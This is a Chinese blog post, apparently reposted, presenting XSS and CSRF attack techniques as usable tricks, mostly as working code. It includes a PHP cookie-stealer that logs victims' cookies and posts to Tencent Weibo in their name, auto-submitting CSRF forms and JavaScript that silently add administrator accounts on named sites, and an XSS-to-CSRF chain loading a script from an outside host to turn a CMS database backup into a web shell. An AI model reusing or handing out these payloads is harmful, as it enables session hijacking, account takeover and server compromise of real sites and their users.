朋友做了一件搞笑的事:挖了一个站的Csrf 0day,硬是带人家站加了友情链接。
如今仍很多人没有意识到XSS的威力,他们会说,不就弹个窗么。那好吧,就弹个窗。
Web2.0时代将是XSS的时代,各种XSS引发的淫荡招数将会越来越多,层出不穷,不信走着瞧。
例1 (php之术)
发视频处插如下代码
0kee.php的作用是窃取cookie、伪造阅览者身份发一个blog、跳转到一个正常的日志,代码如下:
- <?php
- ob_start();
- $url = 't.qq.com';
- $cookie=$_GET['cookie'];
- $randnum=rand();//这边的随机数我不知道有何用,我还特地去用腾讯微博抓包了下发现没这项,然后viewmode=0,不过这与主题无关
- $cookie1=$cookie."\r\n\r\n";
- fputs(fopen('a.txt','a+'),$cookie1); //写到a.txt里,,留个纪念
- $sock = fsockopen("$url", 80, $errno, $errstr, 30);
- if (!$sock) die("$errstr ($errno)\n");
- $data = "content=http://url.cn/1FDpEd hacked!! xss worm test~~".$randnum."&pic=&countType=&viewModel=1";
- fwrite($sock, "POST http://$url/publish.php HTTP/1.1\r\n"); //这个publish.php是腾讯的发微博的php
- fwrite($sock, "Accept: */*\r\n");
- fwrite($sock, "Referer: http://0kee.com\r\n");
- fwrite($sock, "Accept-Language: zh-cn\r\n");
- fwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");
- fwrite($sock, "Accept-Encoding: gzip, deflate\r\n"); //客户端浏览器(我的是IE8),提交包头里会有用gzip压缩
- fwrite($sock, "User-Agent: Mozilla\r\n");
- fwrite($sock, "Host: $url\r\n");
- fwrite($sock, "Content-Length: ".strlen($data)."\r\n");
- fwrite($sock, "Connection: Keep-Alive\r\n");
- fwrite($sock, "Cache-Control: no-cache\r\n");
- fwrite($sock, "Cookie:".$cookie."\r\n\r\n");
- fwrite($sock, $data); //上头php代码都是post发数据的老一套
- $headers = "";
- while ($str = trim(fgets($sock, 4096)))
- $headers .= "$str\n";
- echo "\n";
- $body = "";
- while (!feof($sock))
- $body .= fgets($sock, 4096);
- fclose($sock);
- Header("Location: http://t.qq.com/txsser"); //作者装x了,唉
- ob_end_flush();
- ?>
记得以前校内就有过类似事件,QQ最起码应该晓得过滤<>啊..晕
另一个例子(加管理员之术):
首先拥有一个自己可控的网站,然后构造表单:
- <html>
- <form method="post" action="http://www.stuhack.com/admin/Admin_Admin.asp?" name="form1">
- <input name="UserName" value="test"> <!--后台ID-->
- <input name="Action" type="hidden" id="Action" value="SaveAdd">
- <input name="AddUser" value="test"> <!--前台ID-->
- <input type="password" name="Password" value="123456789"> <!--密码-->
- <input type="password" name="PwdConfirm" value="123456789"> <!--重复密码-->
- <input name="Purview_0" type="radio" value="1" onClick="PurviewDetail.style.display='none'" checked> <!--超级管理员权限-->
- </form>
- <mce:script type="text/javascript"><!--
- document.form1.submit();
- // --></mce:script>
- </html>
将以上代码保存为1.asp(文件名随意),并将其上传到自己的可控网站下面,得到你自己的URL地址
在留言标题中插入:
<iframe src=\'#\'" //www.stuhack.com/1.asp" width=0 height=0></iframe>
此漏洞可触发当管理员查看留言内容时直接添加管理员
例3 (略不同于例2,用的是js)
没过滤的部分插 <script src=\'#\'" //127.0.0.1/1.js" </script>
然后等待管理员查看投稿的文章 (这个你可以社工他) 就会触发XSS攻击
远程JS里写 当然 内容限制长度是500 也可以不用调用远程直接写进去可以了
1 varoReq = newActiveXObject("MSXML2.XMLHTTP");
2 varstr = "do_submit=1&newadmin[username]=thanks&newadmin[allowmultilogin]=1&newadmin[roleid]=1&newadmin[disabled]=0";
3 oReq.open("POST"," http://127.0.0.1/admin.php?file=admin&action=add",false ); //根据源码修改
4 oReq.setRequestHeader("Content-Length",str.length);
5 oReq.setRequestHeader("CONTENT-TYPE","application/x-www-form-urlencoded");
6 oReq.send(str);
newadmin[username]=thanks 为会员注册账号 既可提升到管理员权限
例4(后台备份之术)
------GetShell-----
[1] 在Book.asp的邮箱处填写一句话,提交
[2] 在Book.asp的邮箱处填写XSS语句中的CSRF
[3] 等待管理员触发XSS语句,然后一句话连接bem.asp
[要求] 默认后台管理目录/数据库
[注意] 管理触发XSS是在后台查看留言
------ X S S -----
Book.asp
在邮箱里处写入XSS语句即可
用XSS调用CSRF,例如把CSRF去转成JS的则用
<SCRIPT SRC=http://521.im/xss.js></SCRIPT>
----- CSRF -----
<form method="post" action=" http://127.0.0.1:99/admin/DataM.asp?eims=Data&Action=bfstart ">
<input name="olddata" type="text" id="olddata" value="../Data/eimsCMS.mdb" size="45" readonly>
<input name="newdata" type="text" id="newdata" size="45" value="../bem.asp">
<input type="submit" name="Submit" value="开始备份" id="bem"/>
</form>
<script>
document.getElementByIdx_x('bem').click();
</script>
http://hi.baidu.com/thanks4sec/blog/item/dab3ed02ad92632db1351dfd.html